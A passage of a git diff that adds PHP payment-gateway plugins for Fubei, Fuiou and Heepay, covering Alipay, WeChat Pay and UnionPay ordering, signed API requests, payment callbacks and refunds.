$redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$retData['prepay_id'], 'redirect_url'=>$redirect_url]]; + } + + //支付宝H5支付 + static public function alipaywap(){ + try{ + $retData = self::alipayH5(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + $html = $retData['html']; + return ['type'=>'html','data'=>$html]; + } + + //微信扫码支付 + static public function wxpay(){ + global $siteurl; + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + + if (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl,$channel; + + if($channel['appwxmp'] > 0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + $appid = $wxinfo['appid']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + }else{ + if(!isset($_GET['open_id'])){ + try{ + $auth_url = self::getWechatAuthUrl(); + return ['type'=>'jump','url'=>$auth_url]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'获取微信网页授权url失败!'.$e->getMessage()]; + } + } + $openid = $_GET['open_id']; + $appid = 'wxab36abed3127b34a'; + } + + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + try{ + $retData = self::addOrder('wxpay', $openid, $appid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>json_encode($retData['sign_package']), 'redirect_url'=>$redirect_url]]; + } + + //微信小程序插件支付 + static public function wxplugin(){ + $appId = 'wx21efb7c54d4729d6'; + try{ + $result = self::addOrder('wxpay', null, $appId); + $payinfo = ['appId'=>$appId, 'orderSn'=>$result['order_sn']]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxplugin','data'=>$payinfo]; + } + + //微信参数配置 + static public function wxconfig(){ + global $siteurl,$channel,$islogin; + if(!$islogin) exit('Access Denied'); + + require_once(PAY_ROOT.'inc/FubeiClient.class.php'); + $client = new FubeiClient($channel['appid'], $channel['appkey']); + + if(isset($_POST['sub_appid']) && isset($_POST['jsapi_path'])){ + $bizContent=[ + 'store_id' => $channel['appmchid'], + 'sub_appid' => $_POST['sub_appid'], + 'jsapi_path' => $_POST['jsapi_path'] + ]; + try{ + $retData = $client->execute('fbpay.order.wxconfig', $bizContent); + $msg = ''; + if(!empty($retData['sub_appid_msg'])) $msg .= $retData['sub_appid_msg'].'
    '; + if(!empty($retData['jsapi_msg'])) $msg .= $retData['jsapi_msg']; + showmsg($msg,1); + }catch(Exception $e){ + showmsg('微信参数配置失败!'.$e->getMessage(),4); + } + } + + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + + $bizContent=[ + 'store_id' => $channel['appmchid'] + ]; + try{ + $retData = $client->execute('fbpay.order.wxconfig.query', $bizContent); + $appid_list = json_decode($retData['appid_list'], true); + $jsapi_path_list = json_decode($retData['jsapi_path_list'], true); + $data = ['appid_config_list' => $appid_list['appid_config_list'], 'jsapi_path_list' => $jsapi_path_list['jsapi_path_list'], 'appid'=>$wxinfo ? $wxinfo['appid'] : '']; + include PAY_ROOT.'wxconf.page.php'; + }catch(Exception $e){ + showmsg('微信参数配置查询失败!'.$e->getMessage(),4); + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::addOrder('unionpay', ''); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require_once(PAY_ROOT.'inc/FubeiClient.class.php'); + $client = new FubeiClient($channel['appid'], $channel['appkey']); + $verify_result = $client->verify($_POST); + + if($verify_result){ + $data = json_decode($_POST["data"], true); + if($data['order_status'] == 'SUCCESS'){ + $out_trade_no = daddslashes($data['merchant_order_sn']); + $api_trade_no = daddslashes($data['order_sn']); + $money = $data['total_amount']; + + if ($out_trade_no == TRADE_NO && round($money,2)==round($order['realmoney'],2)) { + processNotify($order, $api_trade_no); + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'status='.$data['order_status']]; + } + }else{ + return ['type'=>'html','data'=>'fail']; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require_once(PAY_ROOT.'inc/FubeiClient.class.php'); + $client = new FubeiClient($channel['appid'], $channel['appkey']); + + $bizContent=[ + 'order_sn' => $order['api_trade_no'], + 'merchant_refund_sn' => $order['refund_no'], + 'refund_amount' => $order['refundmoney'], + ]; + try{ + $retData = $client->execute('fbpay.order.refund', $bizContent); + $result = ['code'=>0, 'trade_no'=>$retData['merchant_order_sn'], 'refund_fee'=>$retData['refund_amount']]; + }catch(Exception $e){ + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } + +} \ No newline at end of file diff --git a/plugins/fubei/inc/FubeiClient.class.php b/plugins/fubei/inc/FubeiClient.class.php new file mode 100644 index 0000000..7642c3e --- /dev/null +++ b/plugins/fubei/inc/FubeiClient.class.php @@ -0,0 +1,74 @@ +app_id = $app_id; + $this->app_secret = $app_secret; + } + + //发起请求 + public function execute($method, $bizContent) + { + $commonData = [ + 'app_id' => $this->app_id, + 'method' => $method, + 'format' => $this->format, + 'sign_method' => $this->sign_method, + 'nonce' => random(12), + 'version' => $this->version, + 'biz_content' => json_encode($bizContent, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE), + ]; + $commonData['sign'] = $this->make_sign($commonData); + + $data = get_curl($this->gateway_url, json_encode($commonData), 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + + $result = json_decode($data, true); + + if(isset($result['result_code']) && $result['result_code']==200){ + return $result['data']; + }else{ + throw new Exception($result['result_message']?$result['result_message']:'返回数据解析失败'); + } + } + + public function verify($param){ + if(!isset($param['sign'])) return false; + $sign = $this->make_sign($param); + return $sign === $param['sign']; + } + + private function make_sign($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr, 0, -1); + $signstr .= $this->app_secret; + $sign = strtoupper(md5($signstr)); + return $sign; + } +} \ No newline at end of file diff --git a/plugins/fubei/wxconf.page.php b/plugins/fubei/wxconf.page.php new file mode 100644 index 0000000..3602bfc --- /dev/null +++ b/plugins/fubei/wxconf.page.php @@ -0,0 +1,31 @@ + + +
    +

    微信参数配置查询刷新

    +
    +

    已关联的公众号AppID:

    +

    ';}?>

    +

    JSAPI支付授权目录:

    +

    ';}?>

    +
    +
    +
    +

    微信参数配置

    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +

    +
    +
    +
    +
    +
    \ No newline at end of file diff --git a/plugins/fuiou2/fuiou2_plugin.php b/plugins/fuiou2/fuiou2_plugin.php new file mode 100644 index 0000000..84c6e0a --- /dev/null +++ b/plugins/fuiou2/fuiou2_plugin.php @@ -0,0 +1,407 @@ + 'fuiou2', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '富友支付(合作方)', //支付插件显示名称 + 'author' => '富友', //支付插件作者 + 'link' => 'https://www.fuiou.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '机构号', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appkey' => [ + 'name' => '富友公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appurl' => [ + 'name' => '订单号前缀', + 'type' => 'input', + 'note' => '', + ], + 'entrykey' => [ + 'name' => '代理进件密钥', + 'type' => 'input', + 'note' => '不使用进件或投诉接口可不填写', + ], + 'appswitch' => [ + 'name' => '环境选择', + 'type' => 'select', + 'options' => [0=>'生产环境',1=>'测试环境'], + ], + ], + 'select' => null, + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'JS支付', + ], + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkmobile() && !checkwechat() && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $device, $mdevice; + + if($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($device=='mobile' && $mdevice!='wechat' && $channel['appwxa']>0){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //通用下单 + static private function addOrder($pay_type){ + global $siteurl, $channel, $order, $ordername, $clientip, $conf; + + require(PAY_ROOT."inc/PayService.class.php"); + + $param = [ + 'order_type' => $pay_type, + 'order_amt' => strval($order['realmoney']*100), + 'mchnt_order_no' => $channel['appurl'].TRADE_NO, + 'txn_begin_ts' => date('YmdHis'), + 'goods_des' => $ordername, + 'term_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'goods_detail' => '', + 'addn_inf' => '', + 'curr_type' => 'CNY', + 'goods_tag' => '', + ]; + + $client = new PayService($channel['appid'],$channel['appmchid'],$channel['appkey'],$channel['appsecret'],$channel['appswitch']==1); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->submit('/preCreate', $param); + return $result['qr_code']; + }); + } + + //JSAPI支付 + static private function jspay($trade_type, $sub_appid, $sub_openid){ + global $siteurl, $channel, $order, $ordername, $clientip, $conf; + + require(PAY_ROOT."inc/PayService.class.php"); + + $param = [ + 'trade_type' => $trade_type, + 'order_amt' => strval($order['realmoney']*100), + 'mchnt_order_no' => $channel['appurl'].TRADE_NO, + 'txn_begin_ts' => date('YmdHis'), + 'goods_des' => $ordername, + 'term_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'limit_pay' => '', + 'goods_detail' => '', + 'addn_inf' => '', + 'curr_type' => 'CNY', + 'goods_tag' => '', + 'product_id' => '', + 'openid' => '', + 'sub_openid' => $sub_openid, + 'sub_appid' => $sub_appid, + ]; + + $client = new PayService($channel['appid'],$channel['appmchid'],$channel['appkey'],$channel['appsecret'],$channel['appswitch']==1); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->submit('/wxPreCreate', $param); + return $result; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('2',$channel['apptype']) && !in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + }else{ + try{ + $code_url = self::addOrder('ALIPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $result = self::jspay('FWC', '', $user_id); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$result['reserved_transaction_id'], 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + global $siteurl, $device, $mdevice; + try{ + $code_url = self::addOrder('WECHAT'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat() || $mdevice == 'wechat'){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile() || $device == 'mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $result = self::jspay('LETPAY', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"微信支付下单失败!'.$ex->getMessage().'"}'); + } + + $payinfo = ['appId'=>$result['sdk_appid'], 'timeStamp'=>$result['sdk_timestamp'], 'nonceStr'=>$result['sdk_noncestr'], 'package'=>$result['sdk_package'], 'signType'=>$result['sdk_signtype'], 'paySign'=>$result['sdk_paysign']]; + + exit(json_encode(['code'=>0, 'data'=>$payinfo])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl, $channel, $order; + + if ($channel['appwxa']>0) { + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try { + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + } catch (Exception $e) { + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::addOrder('UNIONPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'银联云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $xml = urldecode($_POST['req']); + if(!$xml) return ['type'=>'html','data'=>'no data']; + //file_put_contents('logs.txt', $xml); + + $arr = json_decode(json_encode(simplexml_load_string($xml)), true); + if(!$arr) return ['type'=>'html','data'=>'xml err']; + + require(PAY_ROOT."inc/PayService.class.php"); + + $client = new PayService($channel['appid'],$channel['appmchid'],$channel['appkey'],$channel['appsecret'],$channel['appswitch']==1); + $verify_result = $client->verifySign($arr); + + if ($verify_result) { + if($arr['result_code'] == '000000'){ + $out_trade_no = substr($arr['mchnt_order_no'], strlen($channel['appurl'])); + $trade_no = $arr['transaction_id']; + $money = $arr['order_amt']; + $buyer = $arr['user_id']; + if($out_trade_no == TRADE_NO){ + processNotify($order, $trade_no, $buyer); + } + return ['type'=>'html','data'=>'1']; + } + return ['type'=>'html','data'=>'0']; + }else{ + return ['type'=>'html','data'=>'0']; + } + + } + + //同步回调 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/PayService.class.php"); + + if($order['type'] == 1) $pay_type = 'ALIPAY'; + else if($order['type'] == 2) $pay_type = 'WECHAT'; + else if($order['type'] == 4) $pay_type = 'UNIONPAY'; + + $param = [ + 'mchnt_order_no' => $channel['appurl'].$order['trade_no'], + 'refund_order_no' => $order['refund_no'], + 'order_type' => $pay_type, + 'total_amt' => strval($order['realmoney']*100), + 'refund_amt' => strval($order['refundmoney']*100), + 'operator_id' => '', + ]; + + $client = new PayService($channel['appid'],$channel['appmchid'],$channel['appkey'],$channel['appsecret'],$channel['appswitch']==1); + + try{ + $result = $client->submit('/commonRefund', $param); + + return ['code'=>0, 'trade_no'=>$result['mchnt_order_no'], 'refund_fee'=>$result['reserved_refund_amt']]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //投诉回调 + static public function complainnotify(){ + global $channel, $order; + + $json = $_POST['req']; + if(!$json) return ['type'=>'html','data'=>'no req']; + + $data = json_decode($json,true); + if(!$data) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT."inc/EntryService.class.php"); + + $client = new EntryService($channel['appid'],$channel['entrykey']); + $verify_result = $client->verifySign($data); + + if ($verify_result) { + $thirdid = $data['complaint_id']; + $action_type = $data['action_type']; + if(substr($channel['appmchid'],0,1)=='['){ + $channel['appmchid'] = $data['fy_mchnt_cd']; + } + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($thirdid, $action_type); + return ['type'=>'html','data'=>'1']; + }else{ + return ['type'=>'html','data'=>'0']; + } + } + + //平台入网审核回调 + static public function applynotify(){ + global $channel, $order; + + $json = $_POST['req']; + if(!$json) return ['type'=>'html','data'=>'no req']; + + $data = json_decode($json,true); + if(!$data) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT."inc/EntryService.class.php"); + + $client = new EntryService($channel['appid'],$channel['entrykey']); + $verify_result = $client->verifySign($data); + + if ($verify_result) { + $model = \lib\Applyments\CommUtil::getModel2($channel); + if($model) $model->notify($data); + return ['type'=>'html','data'=>'1']; + }else{ + return ['type'=>'html','data'=>'0']; + } + } +} \ No newline at end of file diff --git a/plugins/fuiou2/inc/EntryService.class.php b/plugins/fuiou2/inc/EntryService.class.php new file mode 100644 index 0000000..7539a7f --- /dev/null +++ b/plugins/fuiou2/inc/EntryService.class.php @@ -0,0 +1,174 @@ +ins_cd = $ins_cd; + $this->key = $key; + if($is_test){ + $this->gateway_url = 'http://www-1.fuiou.com:28090/wmp'; + } + $this->xml = new XmlWriter(); + } + + //发起API请求 + public function submit($path, $params, $is_file = false, $is_download = false){ + $requrl = $this->gateway_url.$path; + $public_params = [ + 'trace_no' => getSid(), + 'ins_cd' => $this->ins_cd, + ]; + + foreach($params as $key=>$value){ + if(!$is_file && $value) $params[$key] = mb_convert_encoding($params[$key], 'GBK', 'UTF-8'); + } + + $params = array_merge($public_params, $params); + $params['sign'] = $this->makeSign($params); + + if($is_file){ + $response = get_curl($requrl, $params); + }else{ + $xml = "".$this->toXml($params).""; + + $response = get_curl($requrl, 'req='.urlencode(urlencode($xml))); + } + if($is_download) return $response; + $response = urldecode($response); + $response = str_ireplace('encoding="gbk"', 'encoding="utf-8"', $response); + LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true); + $result = json_decode(json_encode(simplexml_load_string($response)), true); + if(empty($result)){ + $response = mb_convert_encoding($response, 'UTF-8', 'GBK'); + $result = json_decode(json_encode(simplexml_load_string($response)), true); + } + + //file_put_contents('log.txt', $path.' '.$params['trace_no'].PHP_EOL, FILE_APPEND); + + if(isset($result['ret_code']) && ($result['ret_code']=='000000' || $result['ret_code']=='0000')){ + return $result; + }elseif(isset($result['return_code']) && $result['return_code']=='SUCCESS'){ + return $result; + }elseif(isset($result['ret_msg'])){ + throw new Exception($result['ret_msg']); + }elseif(isset($result['return_msg'])){ + throw new Exception($result['return_msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //发起API请求 + public function submit_json($path, $params, $is_file = false){ + $requrl = $this->gateway_url.$path; + $public_params = [ + 'trace_no' => getSid(), + 'ins_cd' => $this->ins_cd, + ]; + + foreach($params as $key=>$value){ + if(!$is_file && $value) $params[$key] = mb_convert_encoding($params[$key], 'GBK', 'UTF-8'); + } + + $params = array_merge($public_params, $params); + $params['sign'] = $this->makeSign($params); + + if($is_file){ + $response = get_curl($requrl, $params); + }else{ + $json = json_encode($params); + $response = get_curl($requrl, 'req='.urlencode($json)); + } + $result = json_decode($response, true); + + //file_put_contents('log.txt', $path.' '.$params['trace_no'].PHP_EOL, FILE_APPEND); + + if(isset($result['ret_code']) && ($result['ret_code']=='000000' || $result['ret_code']=='0000')){ + return $result; + }elseif(isset($result['ret_msg'])){ + throw new Exception($result['ret_msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //发起API请求 + public function submit_json_v2($path, $params){ + $requrl = $this->gateway_url.$path; + $public_params = [ + 'traceNo' => getSid(), + 'insCd' => $this->ins_cd, + ]; + + foreach($params as $key=>$value){ + if($value) $params[$key] = mb_convert_encoding($params[$key], 'GBK', 'UTF-8'); + } + + $params = array_merge($public_params, $params); + $params['sign'] = $this->makeSign($params); + + $json = json_encode($params); + $response = get_curl($requrl, 'req='.urlencode($json)); + $result = json_decode($response, true); + + //file_put_contents('log.txt', $path.' '.$params['traceNo'].PHP_EOL, FILE_APPEND); + + if(isset($result['retCode']) && $result['retCode']=='0000'){ + return $result; + }elseif(isset($result['retMsg'])){ + throw new Exception($result['retMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + public function verifySign($param){ + $sign = $param['sign']; + if(!$sign) return false; + return $sign === $this->makeSign($param); + } + + //生成签名 + private function makeSign($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && !$v instanceof \CURLFile && !is_array($v) && !$this->isEmpty($v)){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr .= 'key='.$this->key; + $sign = md5($signstr); + return $sign; + } + + private function isEmpty($value){ + return $value === null || trim($value) === ''; + } + + private function toXml($data, $eIsArray=FALSE) { + if(!$eIsArray) { + $this->xml->openMemory(); + } + foreach($data as $key => $value){ + if(is_array($value)){ + $this->xml->startElement($key); + $this->toXml($value, TRUE); + $this->xml->endElement(); + continue; + } + $this->xml->writeElement($key, $value); + } + if(!$eIsArray) { + $this->xml->endElement(); + return $this->xml->outputMemory(true); + } + } +} \ No newline at end of file diff --git a/plugins/fuiou2/inc/PayService.class.php b/plugins/fuiou2/inc/PayService.class.php new file mode 100644 index 0000000..734e413 --- /dev/null +++ b/plugins/fuiou2/inc/PayService.class.php @@ -0,0 +1,149 @@ +ins_cd = $ins_cd; + $this->mchnt_cd = $mchnt_cd; + $this->platform_public_key = $platform_public_key; + $this->merchant_private_key = $merchant_private_key; + if($is_test){ + $this->gateway_url = 'https://fundwx.fuiou.com'; + } + $this->xml = new XmlWriter(); + } + + //发起API请求 + public function submit($path, $params){ + $requrl = $this->gateway_url.$path; + $public_params = [ + 'version' => $this->version, + 'ins_cd' => $this->ins_cd, + 'mchnt_cd' => $this->mchnt_cd, + 'term_id' => '88888888', + 'random_str' => getSid(), + ]; + + foreach($params as $key=>$value){ + if($value) $params[$key] = mb_convert_encoding($params[$key], 'GBK', 'UTF-8'); + } + + $params = array_merge($public_params, $params); + $params['sign'] = $this->generateSign($params); + + $xml = "".$this->toXml($params).""; + + $response = get_curl($requrl, 'req='.urlencode(urlencode($xml))); + $response = urldecode($response); + LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true); + $result = json_decode(json_encode(simplexml_load_string($response)), true); + + if(isset($result['result_code']) && $result['result_code']=='000000'){ + if(!$this->verifyResponse($result)){ + throw new Exception('返回数据验签失败'); + } + return $result; + }elseif(isset($result['result_msg'])){ + throw new Exception($result['result_msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //获取待签名字符串 + private function getSignContent($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && substr($k,0,8)!='reserved'){ + if(is_array($v))$v = ''; + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //返回数据验签 + private function verifyResponse($param){ + if(empty($param['sign'])) return false; + foreach($param as $key=>$value){ + if(is_array($value)) $param[$key] = ''; + else $param[$key] = mb_convert_encoding($param[$key], 'GBK', 'UTF-8'); + } + return $this->verifySign($param); + } + + //验签方法 + public function verifySign($param){ + if(empty($param['sign'])) return false; + return $this->rsaPubilcSign($this->getSignContent($param), $param['sign']); + } + + //商户私钥签名 + private function rsaPrivateSign($data){ + $priKey = str_replace(array("\r\n", "\r", "\n"), "", $this->merchant_private_key); + $res = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($priKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $pkeyid = openssl_pkey_get_private($res); + if(!$pkeyid){ + throw new Exception('签名失败,商户私钥不正确'); + } + openssl_sign($data, $signature, $pkeyid, OPENSSL_ALGO_MD5); + $signature = base64_encode($signature); + return $signature; + } + + //平台公钥验签 + private function rsaPubilcSign($data, $signature){ + $pubKey = str_replace(array("\r\n", "\r", "\n"), "", $this->platform_public_key); + $res = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($pubKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $pubkeyid = openssl_pkey_get_public($res); + if(!$pubkeyid){ + throw new Exception('验签失败,富友公钥不正确'); + } + $result = openssl_verify($data, base64_decode($signature), $pubkeyid, OPENSSL_ALGO_MD5); + return $result; + } + + private function toXml($data, $eIsArray=FALSE) { + if(!$eIsArray) { + $this->xml->openMemory(); + } + foreach($data as $key => $value){ + if(is_array($value)){ + $this->xml->startElement($key); + $this->toXml($value, TRUE); + $this->xml->endElement(); + continue; + } + $this->xml->writeElement($key, $value); + } + if(!$eIsArray) { + $this->xml->endElement(); + return $this->xml->outputMemory(true); + } + } + +} \ No newline at end of file diff --git a/plugins/heepay/heepay_plugin.php b/plugins/heepay/heepay_plugin.php new file mode 100644 index 0000000..8a9e1ba --- /dev/null +++ b/plugins/heepay/heepay_plugin.php @@ -0,0 +1,529 @@ + 'heepay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '汇付宝', //支付插件显示名称 + 'author' => '汇付宝', //支付插件作者 + 'link' => 'https://www.heepay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['alipay','wxpay','bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户编号', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '二级商户号', + 'type' => 'input', + 'note' => '可留空,集团模式传参', + ], + 'appkey' => [ + 'name' => '支付密钥', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '退款密钥', + 'type' => 'input', + 'note' => '', + ], + 'transfer_key' => [ + 'name' => '付款密钥', + 'type' => 'input', + 'note' => '不需要付款功能的可留空', + ], + 'transfer_des_key' => [ + 'name' => '付款3DES加密密钥', + 'type' => 'input', + 'note' => '不需要付款功能的可留空', + ], + ], + 'select_bank' => [ + '1' => '网银支付', + '2' => '银联支付', + '3' => '云闪付H5', + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static private function getPayParam($pay_type, $sub_appid = null, $sub_openid = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $device, $mdevice; + + $param = [ + 'version' => '1', + 'pay_type' => $pay_type, + 'agent_id' => $channel['appid'], + 'agent_bill_id' => TRADE_NO, + 'agent_bill_time' => date('YmdHis'), + 'pay_amt' => $order['realmoney'], + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'user_ip' => str_replace('.', '_', $clientip), + 'goods_name' => mb_convert_encoding($ordername,'GBK','UTF-8'), + 'sign_type' => 'MD5' + ]; + 